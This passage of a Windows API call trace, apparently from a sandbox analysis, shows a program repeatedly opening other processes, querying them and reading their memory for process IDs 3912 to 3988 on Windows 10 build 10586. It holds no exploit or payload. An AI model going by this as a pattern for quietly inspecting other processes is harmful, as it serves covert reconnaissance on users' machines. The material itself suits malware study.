ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.729] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.729] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.729] malloc (_Size=0x82) returned 0x196ef101070 [0259.729] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1972, lpBuffer=0x196ef101070, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101070*, lpNumberOfBytesRead=0x0) returned 1 [0259.730] free (_Block=0x196ef101070) [0259.731] CloseHandle (hObject=0x464) returned 1 [0259.748] _ui64tow_s (in: _Value=0xf48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0259.753] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3912") returned 4 [0259.754] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.755] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.774] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x464 [0259.774] GetLastError () returned 0x0 [0259.775] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.775] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.775] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.776] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.776] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5418f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.777] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.778] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.778] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.779] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.779] malloc (_Size=0x4e) returned 0x196ef0d7a70 [0259.779] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54193e, lpBuffer=0x196ef0d7a70, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7a70*, lpNumberOfBytesRead=0x0) returned 1 [0259.780] free (_Block=0x196ef0d7a70) [0259.781] CloseHandle (hObject=0x464) returned 1 [0259.781] _ui64tow_s (in: _Value=0xf50, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0259.787] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3920") returned 4 [0259.788] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.788] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.827] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x464 [0259.827] GetLastError () returned 0x0 [0259.827] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.827] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.828] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.828] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.828] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.830] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.832] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.832] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.832] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.832] malloc (_Size=0x7a) returned 0x196ef1012b0 [0259.832] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56196a, lpBuffer=0x196ef1012b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1012b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.833] free (_Block=0x196ef1012b0) [0259.834] CloseHandle (hObject=0x464) returned 1 [0259.835] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0259.842] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3932") returned 4 [0259.844] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.844] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.885] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x464 [0259.885] GetLastError () returned 0x0 [0259.886] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.887] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.887] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.889] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.891] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.891] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.891] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.891] malloc (_Size=0x4e) returned 0x196ef0d74d0 [0259.891] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x50193e, lpBuffer=0x196ef0d74d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d74d0*, lpNumberOfBytesRead=0x0) returned 1 [0259.892] free (_Block=0x196ef0d74d0) [0259.893] CloseHandle (hObject=0x464) returned 1 [0259.893] _ui64tow_s (in: _Value=0xf64, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0259.899] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3940") returned 4 [0259.900] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.900] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x464 [0259.924] GetLastError () returned 0x0 [0259.924] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.924] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.925] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.925] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.925] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.926] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0259.929] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0259.929] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x238020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0259.929] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0259.929] malloc (_Size=0x70) returned 0x196ef0d31b0 [0259.929] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.930] free (_Block=0x196ef0d31b0) [0259.931] CloseHandle (hObject=0x464) returned 1 [0259.932] _ui64tow_s (in: _Value=0xf74, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0259.939] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3956") returned 4 [0259.942] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0259.942] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0259.995] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x464 [0259.995] GetLastError () returned 0x0 [0259.996] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0259.996] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0259.996] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0259.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0259.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6218f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0259.999] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.000] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.000] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.000] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.001] malloc (_Size=0x60) returned 0x196ef0d0450 [0260.001] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x621950, lpBuffer=0x196ef0d0450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0260.002] free (_Block=0x196ef0d0450) [0260.003] CloseHandle (hObject=0x464) returned 1 [0260.003] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0260.009] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3964") returned 4 [0260.011] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.011] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.060] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x464 [0260.060] GetLastError () returned 0x0 [0260.061] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.061] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.061] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.061] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x521ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.062] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5218f8, lpBuffer=0x670f7c2b0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.064] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.066] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x382020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.066] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5212e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.067] malloc (_Size=0x6c) returned 0x196ef0d31b0 [0260.067] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d31b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.068] free (_Block=0x196ef0d31b0) [0260.069] CloseHandle (hObject=0x464) returned 1 [0260.071] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0260.080] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3980") returned 4 [0260.082] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.083] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.127] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x464 [0260.127] GetLastError () returned 0x0 [0260.127] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f18f8, lpBuffer=0x670f7c2b0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.130] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0260.132] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0260.132] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x353020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0260.132] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0260.132] malloc (_Size=0x7c) returned 0x196ef100800 [0260.132] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f196c, lpBuffer=0x196ef100800, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100800*, lpNumberOfBytesRead=0x0) returned 1 [0260.133] free (_Block=0x196ef100800) [0260.134] CloseHandle (hObject=0x464) returned 1 [0260.135] _ui64tow_s (in: _Value=0xf94, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0260.140] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3988") returned 4 [0260.142] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0260.142] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0260.176] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x464 [0260.176] GetLastError () returned 0x0 [0260.177] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0260.177] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0260.177] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0260.177] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0260.178] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0260.179] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, 